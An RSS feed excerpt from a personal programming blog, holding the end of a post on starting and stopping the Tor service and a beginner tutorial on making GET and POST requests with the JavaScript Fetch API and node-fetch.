&lt;/code>&lt;/pre>&lt;/div>&lt;p>The status should be set to &lt;strong>Active(running)&lt;/strong>, to stop it type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ sudo service tor stop
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Tor will help you to stay anonymously online along with &lt;strong>DuckDuckGo&lt;/strong>, but there are some rules to respect in order to prevent IP leak, but that&amp;rsquo;s another story.&lt;/p>
&lt;p>As Tor is a hidden network so you may come across a few sites that are illegal or promote shady/illegal activities. Try to stay away from these kind of websites.&lt;/p></description></item><item><title>Fetch API, a good alternative to Ajax and jQuery</title><link>https://malwarewerewolf.com/posts/fetch-api/</link><pubDate>Fri, 06 Sep 2019 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/fetch-api/</guid><description>&lt;p>The &lt;strong>Fetch Api&lt;/strong> offers you a simple way to make any kind of request you wish to do using Javascript. The Fetch code I am going to show you, works with &lt;a href="https://nodejs.org/en/">Node.js&lt;/a> or a browser console, in other words you do not necessarily need to install &lt;a href="https://nodejs.org/en/">Node.js&lt;/a> and the Fetch package on your computer to get the code work. If you decide to use the browser console you do not need to import the module, in this post I show how to implement the code with &lt;a href="https://nodejs.org/en/">Node.js&lt;/a>.&lt;/p>
&lt;h2 id="working-with-nodejs">
Working with Node.js
&lt;a class="heading-link" href="#working-with-nodejs">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The first thing you need to do is install &lt;a href="https://nodejs.org/en/">Node.js&lt;/a>, when the installation is complete open the command line and navigate to the path where you want launch your script. If you are using Linux or Mac type &lt;strong>ls&lt;/strong> to display the files in the current directory, on Windows type &lt;strong>dir&lt;/strong>, use &lt;strong>cd&lt;/strong> to change directory, it works on every OS. After that launch the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ npm install node-fetch
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="get-request">
Get request
&lt;a class="heading-link" href="#get-request">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Create a file named &lt;strong>get.js&lt;/strong>, copy and paste the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">fetch&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">require&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;node-fetch&amp;#34;&lt;/span>);
&lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;https://api.github.com/users/MalwareWerewolf&amp;#34;&lt;/span>)
.&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">response&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">response&lt;/span>.&lt;span style="color:#a6e22e">json&lt;/span>())
.&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> =&amp;gt; {
&lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">log&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>)
}).&lt;span style="color:#66d9ef">catch&lt;/span>(&lt;span style="color:#a6e22e">error&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">error&lt;/span>(&lt;span style="color:#a6e22e">error&lt;/span>));
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Launch the js file from the command line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ node get.js
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You should get the following output in the terminal (or something similar at least):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-json" data-lang="json">{
&lt;span style="color:#960050;background-color:#1e0010">login:&lt;/span> &lt;span style="color:#f92672">&amp;#34;MalwareWerewolf&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">id:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">43040746,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">node_id:&lt;/span> &lt;span style="color:#f92672">&amp;#34;MDQ6VXNlcjQzMDQwNzQ2&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">avatar_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://avatars2.githubusercontent.com/u/43040746?v=4&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">gravatar_id:&lt;/span> &lt;span style="color:#f92672">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">html_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://github.com/MalwareWerewolf&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">followers_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/followers&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">following_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/following{/other_user}&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">gists_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/gists{/gist_id}&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">starred_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/starred{/owner}{/repo}&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">subscriptions_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/subscriptions&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">organizations_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/orgs&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">repos_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/repos&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">events_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/events{/privacy}&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">received_events_url:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://api.github.com/users/MalwareWerewolf/received_events&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">type:&lt;/span> &lt;span style="color:#f92672">&amp;#34;User&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">site_admin:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">false,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">name:&lt;/span> &lt;span style="color:#f92672">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">company:&lt;/span> &lt;span style="color:#f92672">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">blog:&lt;/span> &lt;span style="color:#f92672">&amp;#34;https://www.linkedin.com/in/davidedolce/&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">location:&lt;/span> &lt;span style="color:#f92672">&amp;#34;Torino Italia&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">email:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">null,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">hireable:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">null,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">bio:&lt;/span> &lt;span style="color:#f92672">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">public_repos:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">6,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">public_gists:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">0,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">followers:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">2,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">following:&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">3,&lt;/span>
&lt;span style="color:#960050;background-color:#1e0010">created_at:&lt;/span> &lt;span style="color:#f92672">&amp;#34;2018-09-06T15:07:27Z&amp;#34;&lt;/span>,
&lt;span style="color:#960050;background-color:#1e0010">updated_at:&lt;/span> &lt;span style="color:#f92672">&amp;#34;2019-03-02T19:08:51Z&amp;#34;&lt;/span>
}
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="token-authorization">
Token authorization
&lt;a class="heading-link" href="#token-authorization">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I am using my own Get request, you do not need to create it because the process is the same for other kind of Get request, obviously it depends what you want to do. Create a file named &lt;strong>getToken.js&lt;/strong> and copy and paste the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">fetch&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">require&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;node-fetch&amp;#39;&lt;/span>);
&lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;http://localhost:5000/api/token&amp;#34;&lt;/span>, {
&lt;span style="color:#a6e22e">credentials&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#39;include&amp;#39;&lt;/span>
&lt;span style="color:#a6e22e">headers&lt;/span>&lt;span style="color:#f92672">:&lt;/span> { &lt;span style="color:#75715e">//define the headers
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Authorization&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Bearer myPersonalToken&amp;#34;&lt;/span> &lt;span style="color:#75715e">//change myPersonalToken to another valid token
&lt;/span>&lt;span style="color:#75715e">&lt;/span> }
}).&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">json&lt;/span>()).&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">response&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">log&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;Success:&amp;#39;&lt;/span> &lt;span style="color:#a6e22e">JSON&lt;/span>.&lt;span style="color:#a6e22e">stringify&lt;/span>(&lt;span style="color:#a6e22e">response&lt;/span>))).&lt;span style="color:#66d9ef">catch&lt;/span>(&lt;span style="color:#a6e22e">error&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">error&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;Error:&amp;#39;&lt;/span>, &lt;span style="color:#a6e22e">error&lt;/span>));
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="post-request">
Post request
&lt;a class="heading-link" href="#post-request">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I created a Post request here, you need to change body content, create a file named &lt;strong>post.js&lt;/strong> and copy and paste the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">fetch&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">require&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;node-fetch&amp;#39;&lt;/span>);
&lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;http://localhost:5000/api/token&amp;#34;&lt;/span>, {
&lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;post&amp;#34;&lt;/span>, &lt;span style="color:#75715e">//type of request
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#a6e22e">headers&lt;/span>&lt;span style="color:#f92672">:&lt;/span> {
&lt;span style="color:#e6db74">&amp;#34;Content-Type&amp;#34;&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;application/json&amp;#34;&lt;/span>
},
&lt;span style="color:#a6e22e">body&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#a6e22e">JSON&lt;/span>.&lt;span style="color:#a6e22e">stringify&lt;/span>({ &lt;span style="color:#75715e">//this is where you put your json body, with a key and a value the request should receive from the response
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#a6e22e">username&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;mario&amp;#34;&lt;/span>,
&lt;span style="color:#a6e22e">password&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#e6db74">&amp;#34;secret&amp;#34;&lt;/span>
})
}).&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">json&lt;/span>()).&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#a6e22e">response&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">log&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;Success:&amp;#39;&lt;/span>, &lt;span style="color:#a6e22e">JSON&lt;/span>.&lt;span style="color:#a6e22e">stringify&lt;/span>(&lt;span style="color:#a6e22e">response&lt;/span>))).&lt;span style="color:#66d9ef">catch&lt;/span>(&lt;span style="color:#a6e22e">error&lt;/span> =&amp;gt; &lt;span style="color:#a6e22e">console&lt;/span>.&lt;span style="color:#a6e22e">error&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;Error:&amp;#39;&lt;/span>, &lt;span style="color:#a6e22e">error&lt;/span>));
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="syntax-explaining">
Syntax explaining
&lt;a class="heading-link" href="#syntax-explaining">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As you can see the syntax is very simple, you import the module at the top of your file, then you use the fetch variable to call the function with a url as parameter. You use the keyword then for handling the data you get from the api and the catch keyword to handle exceptionts that the server could return. Here is an example to help you remember really well the syntax:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#a6e22e">url&lt;/span>) &lt;span style="color:#75715e">//call the fetch function and pass a url
&lt;/span>&lt;span style="color:#75715e">&lt;/span> .&lt;span style="color:#a6e22e">then&lt;/span>(&lt;span style="color:#66d9ef">function&lt;/span>() {
&lt;span style="color:#75715e">// handle the data from the api
&lt;/span>&lt;span style="color:#75715e">&lt;/span> })
.&lt;span style="color:#66d9ef">catch&lt;/span>(&lt;span style="color:#66d9ef">function&lt;/span>(){
&lt;span style="color:#75715e">// handle any kind of exception
&lt;/span>&lt;span style="color:#75715e">&lt;/span> })
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There are other ways to do these kind of requests, but now you should have a clear idea about how to implement them. Unfortunately not all browsers are supporting Fetch, but it still remains a good alternative not only to jQuery and Ajax but even to XMLHttpRequest.&lt;/p>
&lt;p>Visit the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">MDN web docs&lt;/a> and &lt;a href="https://github.github.io/fetch/">Github.io&lt;/a> for more info.&lt;/p></description></item></channel></rss>